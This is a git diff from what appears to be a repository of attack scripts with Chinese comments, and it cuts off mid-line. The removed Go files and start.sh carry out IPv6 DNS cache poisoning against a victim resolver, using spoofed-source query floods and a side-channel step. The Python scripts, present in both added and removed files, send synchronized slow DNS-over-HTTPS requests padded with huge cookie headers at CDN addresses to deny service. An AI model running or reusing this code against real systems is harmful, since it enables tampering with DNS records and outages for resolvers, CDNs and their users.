net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) - case syscall.RTA_GATEWAY: - routeInfo.Gateway = net.IP(attr.Value) - case syscall.RTA_OIF: - routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PRIORITY: - routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PREFSRC: - routeInfo.PrefSrc = net.IP(attr.Value) - } - } - } - } - ips := []net.IP{} - for _, rt := range rtr.v6 { - if rt.Gateway != nil { - ips = append(ips, rt.Gateway) - } - } - return ips[0], nil -} - -func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { - if debugOutput { - println("邻居发现--使用网卡接口为:" + ifacename) - } - out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() - if err != nil { - println(err.Error()) - } else { - outlines := strings.Split(string(out), "/n") - for _, line := range outlines { - linelist := strings.Split(line, " ") - // 与网关对应的MAC地址 - if linelist[0] == gwIP.String() { - - maclist := strings.Split(linelist[2], ":") - var macbyte []byte - for _, m := range maclist { - b, _ := hex.DecodeString(m) - macbyte = append(macbyte, b[0]) - } - return net.HardwareAddr(macbyte), nil - } - } - } - return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" deleted file mode 100644 index edc4548..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" +++ /dev/null @@ -1,171 +0,0 @@ -package main - -import ( - "encoding/binary" - "errors" - "fmt" - "github.com/google/gopacket" - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" - "net" - "time" -) - -func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP []net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - //check repeat - okToAdd := true - for _, temp := range srcIP { - if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 { - okToAdd = false - break - } - } - if okToAdd { - srcIP = append(srcIP, ipnet.IP.To16()) - } - } - } - } - - if srcIP == nil || len(srcIP) == 0 { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { - opts := gopacket.SerializeOptions{ - FixLengths: true, - ComputeChecksums: true, - } - buffer := gopacket.NewSerializeBuffer() - if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { - return err - } - return handle.WritePacketData(buffer.Bytes()) -} - -func GetIfaceAddr(iface *net.Interface) (net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - srcIP = ipnet.IP.To16() - break - } - } - } - - if srcIP == nil { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) { - srcIP, err := GetIfaceAddr(iface) - if err != nil { - return nil, errors.New("can not get ip address") - } - - start := time.Now() - // Prepare the layers to send for an ARP request. - eth := layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, - EthernetType: layers.EthernetTypeARP, - } - arp := layers.ARP{ - AddrType: layers.LinkTypeEthernet, - Protocol: layers.EthernetTypeIPv6, - HwAddressSize: 6, - ProtAddressSize: 4, - Operation: layers.ARPRequest, - SourceHwAddress: []byte(iface.HardwareAddr), - SourceProtAddress: []byte(srcIP), - DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, - DstProtAddress: []byte(gatewayIP), - } - // Send a single ARP request packet (we never retry a send, since this - // is just an example ;) - if err := Send(handle, ð, &arp); err != nil { - return nil, err - } - // Wait 3 seconds for an ARP reply. - for { - if time.Since(start) > time.Second*3 { - return nil, errors.New("timeout getting ARP reply") - } - data, _, err := handle.ReadPacketData() - if err == pcap.NextErrorTimeoutExpired { - continue - } else if err != nil { - return nil, err - } - packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) - if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil { - arp := arpLayer.(*layers.ARP) - if net.IP(arp.SourceProtAddress).Equal(gatewayIP) { - return arp.SourceHwAddress, nil - } - } - } -} - -func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int { - temp0 := binary.LittleEndian.Uint32(ip0.To16()) - temp1 := binary.LittleEndian.Uint32(ip1.To16()) - if temp0 == temp1 { - return 0 - } - if temp0 > temp1 { - return 1 - } - return -1 -} - -func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) { - - ipLayer := layers.IPv6{ - FlowLabel: flowlabel, - SrcIP: srcIP, - DstIP: dstIP, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - } - udpLayer := layers.UDP{ - SrcPort: srcPort, - DstPort: dstPort, - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer) - if err != nil { - fmt.Println("xmitUDPv6 can not send packet", err) - } - - if timegap != 0 { - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.mod" "b/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.mod" deleted file mode 100644 index b55b38b..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.mod" +++ /dev/null @@ -1,20 +0,0 @@ -module flood - -go 1.21 - -toolchain go1.21.4 - -require ( - github.com/google/gopacket v1.1.19 - github.com/jackpal/gateway v1.0.13 -) - -require ( - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/stretchr/objx v0.5.0 // indirect - github.com/stretchr/testify v1.8.4 // indirect - golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect -) diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.sum" "b/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.sum" deleted file mode 100644 index 1cca74c..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.sum" +++ /dev/null @@ -1,38 +0,0 @@ -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= -github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk= -github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" deleted file mode 100644 index 09245d3..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" +++ /dev/null @@ -1,103 +0,0 @@ -package main - -import ( - "encoding/hex" - "fmt" - "net" - "os/exec" - "strings" - "syscall" - "unsafe" -) - -type router struct { - ifaces []net.Interface - addrs []net.IP - v6 routeSlice -} -type routeSlice []*rtInfo - -type rtInfo struct { - // Dst net.IPNet - Gateway, PrefSrc net.IP - OutputIface uint32 - Priority uint32 -} - -func getv6Gateway() (net.IP, error) { - rtr := &router{} - - tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) - if err != nil { - return nil, err - } - - msgs, err := syscall.ParseNetlinkMessage(tab) - if err != nil { - return nil, err - } - - for _, m := range msgs { - switch m.Header.Type { - case syscall.NLMSG_DONE: - break - case syscall.RTM_NEWROUTE: - // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) - attrs, err := syscall.ParseNetlinkRouteAttr(&m) - if err != nil { - return nil, err - } - routeInfo := rtInfo{} - rtr.v6 = append(rtr.v6, &routeInfo) - for _, attr := range attrs { - switch attr.Attr.Type { - // case syscall.RTA_DST: - // routeInfo.Dst.IP = net.IP(attr.Value) - // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) - case syscall.RTA_GATEWAY: - routeInfo.Gateway = net.IP(attr.Value) - case syscall.RTA_OIF: - routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PRIORITY: - routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) - case syscall.RTA_PREFSRC: - routeInfo.PrefSrc = net.IP(attr.Value) - } - } - } - } - ips := []net.IP{} - for _, rt := range rtr.v6 { - if rt.Gateway != nil { - ips = append(ips, rt.Gateway) - } - } - return ips[0], nil -} - -func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { - if debugOutput { - println("邻居发现--使用网卡接口为:" + ifacename) - } - out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() - if err != nil { - println(err.Error()) - } else { - outlines := strings.Split(string(out), "/n") - for _, line := range outlines { - linelist := strings.Split(line, " ") - // 与网关对应的MAC地址 - if linelist[0] == gwIP.String() { - - maclist := strings.Split(linelist[2], ":") - var macbyte []byte - for _, m := range maclist { - b, _ := hex.DecodeString(m) - macbyte = append(macbyte, b[0]) - } - return net.HardwareAddr(macbyte), nil - } - } - } - return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/main.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/flood/main.go" deleted file mode 100644 index be0f1b4..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/flood/main.go" +++ /dev/null @@ -1,192 +0,0 @@ -package main - -import ( - "errors" - "flag" - "fmt" - "math/rand" - "net" - "os" - "strconv" - - "github.com/google/gopacket" - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" -) - -// 各层的定义 -var ethernetLayer *layers.Ethernet -var debugOutput = false -var handle *pcap.Handle -var repeatTime = 100 - -func main() { - // 读取参数配置 - ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口") - sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址") - targetaddrArg := flag.String("taddr", "", "目标权威的地址") - qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名") - debugOutputArg := flag.Bool("d", false, "debug模式输出") - flag.Parse() - - // 指针->值 - ifaceName := *ifaceNameArg - sourceaddr := *sourceaddrArg - targetaddr := *targetaddrArg - qname := *qnameArg - debugOutput = *debugOutputArg - defer os.Exit(0) - - handle, _ = pcap.OpenLive( - ifaceName, - 65536, - true, - pcap.BlockForever, - ) - - // 构造MAC层 - var srcmac net.HardwareAddr - var dstmac net.HardwareAddr - if ifaceName == "" { - ifaceName = "eth0" - } - - // 源MAC - loiface, err := net.InterfaceByName(ifaceName) - if err != nil { - fmt.Println(err.Error()) - } - srcmac = loiface.HardwareAddr - if debugOutput { - fmt.Println("源MAC地址为: " + srcmac.String()) - } - - // 目的MAC - // 获取网关地址 - gwIP, _ := getv6Gateway() - fmt.Println("网关IPv6地址为:" + gwIP.String()) - dstmac, err = GetGatewayIPv6Addr(loiface, gwIP) - if err != nil { - fmt.Println(err.Error()) - } - if debugOutput { - fmt.Println("目的MAC地址为: " + dstmac.String()) - } - - // mac层包 - ethernetLayer = &layers.Ethernet{ - SrcMAC: srcmac, - DstMAC: dstmac, - EthernetType: layers.EthernetTypeIPv6, - } - - // dns查询 - for i := 0; i < repeatTime; i++ { - go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr)) - } - if debugOutput { - fmt.Println("已连续发送" + strconv.Itoa(repeatTime) + "个请求包到" + targetaddr) - } -} - -func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { - opts := gopacket.SerializeOptions{ - FixLengths: true, - ComputeChecksums: true, - } - buffer := gopacket.NewSerializeBuffer() - if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { - return err - } - err := handle.WritePacketData(buffer.Bytes()) - if err != nil { - println(err.Error()) - } - return nil -} - -func GetIfaceAddr(iface *net.Interface) (net.IP, error) { - addrs, err := iface.Addrs() - if err != nil { - return nil, errors.New("can not get ip address") - } - - var srcIP net.IP - for _, address := range addrs { - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To16() != nil { - srcIP = ipnet.IP.To16() - break - } - } - } - - if srcIP == nil { - return nil, errors.New("can not get ip address") - } - - return srcIP, nil -} - -func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) { - gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP) - if err != nil { - fmt.Println(err.Error()) - panic("") - } - return gwMAC, nil -} - -func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) { - if debugOutput { - fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String()) - } - _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53) -} - -func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { - ipLayer := layers.IPv6{ - FlowLabel: 1, - SrcIP: src, - DstIP: dst, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: sport, - DstPort: dport, - } - dnsLayer := layers.DNS{ - ID: id, - QR: false, - OpCode: 0, - AA: false, - TC: false, - RD: true, - RA: false, - Z: 0, - ResponseCode: 0, - QDCount: 1, - ANCount: 0, - NSCount: 0, - ARCount: 0, - Questions: []layers.DNSQuestion{{ - Name: []byte(name), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }}, - Authorities: nil, - Additionals: nil, - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest: ", err) - } -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/start.sh" "b/att script/6(v6\347\257\241\346\224\271)/code/start.sh" deleted file mode 100644 index 03b7812..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/start.sh" +++ /dev/null @@ -1,38 +0,0 @@ -# 目前仅考虑篡改或注入AAAA记录 -# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP -# Please run with sudo. - -# Verify the existing record domain, just for proof purposes. -echo '获取原记录中:' -dig @$1 $4 AAAA -sleeptime=0 -sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` - -echo "等待缓存过期,$sleeptime 秒之后开始攻击..." -sleep $sleeptime - -echo "开始攻击" -echo "攻击参数:" -echo "目标域名权威服务地址:$5" -echo "目标解析服务地址:$1" -echo "目标域名:$4" - -# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口] -bash ./dns_query.sh $5 $1 $4 $3 - -# 开始攻击 -# Change the argument accordingly -echo "执行侧信道攻击脚本中" -./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true - - - # Validations -echo "攻击结束" -dig @$1 $4 AAAA - -sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` -echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.' - -echo '等待两秒...' -sleep 2 -dig @$1 $4 AAAA diff --git "a/att script/6(v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/6(v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" deleted file mode 100644 index c5b1afa..0000000 Binary files "a/att script/6(v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" and /dev/null differ diff --git a/att script/6/.gitkeep b/att script/6/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/att script/6/att_pending_cookie.py b/att script/6/att_pending_cookie.py new file mode 100644 index 0000000..ce3e4de --- /dev/null +++ b/att script/6/att_pending_cookie.py @@ -0,0 +1,127 @@ +import argparse +import http.client +import asyncio +import base64 +import random +import secrets +import string +from collections import Counter +import sys +import time +import requests +import dns.message +import httpx +import gzip +import io +import pandas as pd +import tqdm +from concurrent.futures import ThreadPoolExecutor +import threading +from dns.message import make_query + +def ge_cookie(): + cookie = "" + for i in range(200): + cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\ + "="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; " + cookie = cookie[:-2] + #print(sys.getsizeof(cookie)/1024) + return cookie + +def send_request(event,url,t,latency,stime): + cookie = ge_cookie() + headers = {"content-type": "application/dns-message", + "accept": "application/dns-message", + "Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0", + "Cookie":cookie} + message = dns.message.make_query(base64.b64encode(url.encode("utf-8")).decode("utf-8") + + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A") + message.flags |= dns.flags.RD + dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=") + # time.sleep(t*2) + conn = http.client.HTTPConnection(url, port=80) + + + #time.sleep(3) + body = ','.join([f'{name}: {value}' for name, value in headers.items()]) + request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n" + conn.send(request_line.encode()) + headers0 = {'host': 'www.doeresearch.site'} + headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()]) + conn.send(headers0.encode()) + + #time.sleep(10) + #body = str(make_query(qname="baidu.com", rdtype="A", want_dnssec=False)) + #print(body) + #print(len(body)) + chunk_size = 20 # 每个块的大小 + for i in range(0, len(body), chunk_size): + #print(i,'------------------') + chunk = body[i:i + chunk_size] + conn.send(f'{chunk}'.encode()) + start_time = time.perf_counter() + while time.perf_counter() - start_time < 0.002: + pass + # print('P') + conn.send(b'\r\n') + # 发送结束标志 + #print(url, t, 'pending') + desired_time = latency / 2000 # 将毫秒转换为秒 + #conn.close() + #time.sleep(10) + event.wait() + # start_time = time.perf_counter() + # while time.perf_counter() - start_time < desired_time: + # pass + #conn.send(b'0\r\n\r\n') + conn.send(b'\r\n') + # Get the response + #response = conn.getresponse() + # print(response.status, response.reason) + #print(response.read()) + # print(dns.message.from_wire(response.read())) + + #conn.close() + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('-stime', '--stime') + parser.add_argument('-round', '--round',default=10) + parser.add_argument('-wait', '--wait',default=180) + args = parser.parse_args() + + + path = '/root/Nora/cdn/' + #path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/' + df = pd.read_csv(path+'fastly_att.csv',nrows=64) + data = df.set_index('ip')['latency'].to_dict() + event = threading.Event() + s_time = time.time() + #stime = time.perf_counter() + stime = float(args.stime) + round = int(args.round) + wait_time = int(args.wait) + threads = [] + for i in range(round): + for ip, latency in data.items(): + t = threading.Thread(target=send_request, args=(event,ip, i, latency,stime)) + t.start() + threads.append(t) + #time.sleep(latency) + start_time = time.perf_counter() + # while time.perf_counter() - start_time < 0.1: + # pass + print('all waiting') + while time.perf_counter() - stime < wait_time: + pass + # 触发事件,同时释放所有线程 + event.set() + # 等待所有线程完成 + for t in threads: + t.join() + print('ATT over:',time.time() - s_time) + #for i in tqdm.tqdm(range(1000)): + #send_request("151.101.76.204",0,0,0) + + + diff --git a/att script/6/start_pending.py b/att script/6/start_pending.py new file mode 100644 index 0000000..5e7edf0 --- /dev/null +++ b/att script/6/start_pending.py @@ -0,0 +1,20 @@ +import os +import argparse +import time + +parser = argparse.ArgumentParser() +parser.add_argument('-n', '--n', default=3) +parser.add_argument('-round', '--round', default=5) +parser.add_argument('-wait', '--wait', default=150) +args = parser.parse_args() +stime = time.perf_counter() +round = int(args.round) +wait_time = int(args.wait) +for i in range(int(args.n)): + #print(f"python3 cve44487.py -s {i}") + os.popen(f"python att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}") +while True: + current_time = time.perf_counter() + elapsed_time = current_time - stime + print(f"经过的时间:{elapsed_time:.2f}秒", end="\r") + time.sleep(1) # 暂停一秒钟 \ No newline at end of file diff --git "a/att script/6/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" "b/att script/6/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" new file mode 100644 index 0000000..9f938c9 Binary files /dev/null and "b/att script/6/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" differ diff --git "a/att script/7/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" "b/att script/7/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" new file mode 100644 index 0000000..b9198d5 Binary files /dev/null and "b/att script/7/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" differ diff --git a/att script/7/att_pending_cookie.py b/att script/7/att_pending_cookie.py deleted file mode 100644 index ce3e4de..0000000 --- a/att script/7/att_pending_cookie.py +++ /dev/null @@ -1,127 +0,0 @@ -import argparse -import http.client -import asyncio -import base64 -import random -import secrets -import string -from collections import Counter -import sys -import time -import requests -import dns.message -import httpx -import gzip -import io -import pandas as pd -import tqdm -from concurrent.futures import ThreadPoolExecutor -import threading -from dns.message import make_query - -def ge_cookie(): - cookie = "" - for i in range(200): - cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\ - "="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; " - cookie = cookie[:-2] - #print(sys.getsizeof(cookie)/1024) - return cookie - -def send_request(event,url,t,latency,stime): - cookie = ge_cookie() - headers = {"content-type": "application/dns-message", - "accept": "application/dns-message", - "Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0", - "Cookie":cookie} - message = dns.message.make_query(base64.b64encode(url.encode("utf-8")).decode("utf-8") + - ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A") - message.flags |= dns.flags.RD - dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=") - # time.sleep(t*2) - conn = http.client.HTTPConnection(url, port=80) - - - #time.sleep(3) - body = ','.join([f'{name}: {value}' for name, value in headers.items()]) - request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n" - conn.send(request_line.encode()) - headers0 = {'host': 'www.doeresearch.site'} - headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()]) - conn.send(headers0.encode()) - - #time.sleep(10) - #body = str(make_query(qname="baidu.com", rdtype="A", want_dnssec=False)) - #print(body) - #print(len(body)) - chunk_size = 20 # 每个块的大小 - for i in range(0, len(body), chunk_size): - #print(i,'------------------') - chunk = body[i:i + chunk_size] - conn.send(f'{chunk}'.encode()) - start_time = time.perf_counter() - while time.perf_counter() - start_time < 0.002: - pass - # print('P') - conn.send(b'\r\n') - # 发送结束标志 - #print(url, t, 'pending') - desired_time = latency / 2000 # 将毫秒转换为秒 - #conn.close() - #time.sleep(10) - event.wait() - # start_time = time.perf_counter() - # while time.perf_counter() - start_time < desired_time: - # pass - #conn.send(b'0\r\n\r\n') - conn.send(b'\r\n') - # Get the response - #response = conn.getresponse() - # print(response.status, response.reason) - #print(response.read()) - # print(dns.message.from_wire(response.read())) - - #conn.close() - -if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument('-stime', '--stime') - parser.add_argument('-round', '--round',default=10) - parser.add_argument('-wait', '--wait',default=180) - args = parser.parse_args() - - - path = '/root/Nora/cdn/' - #path = 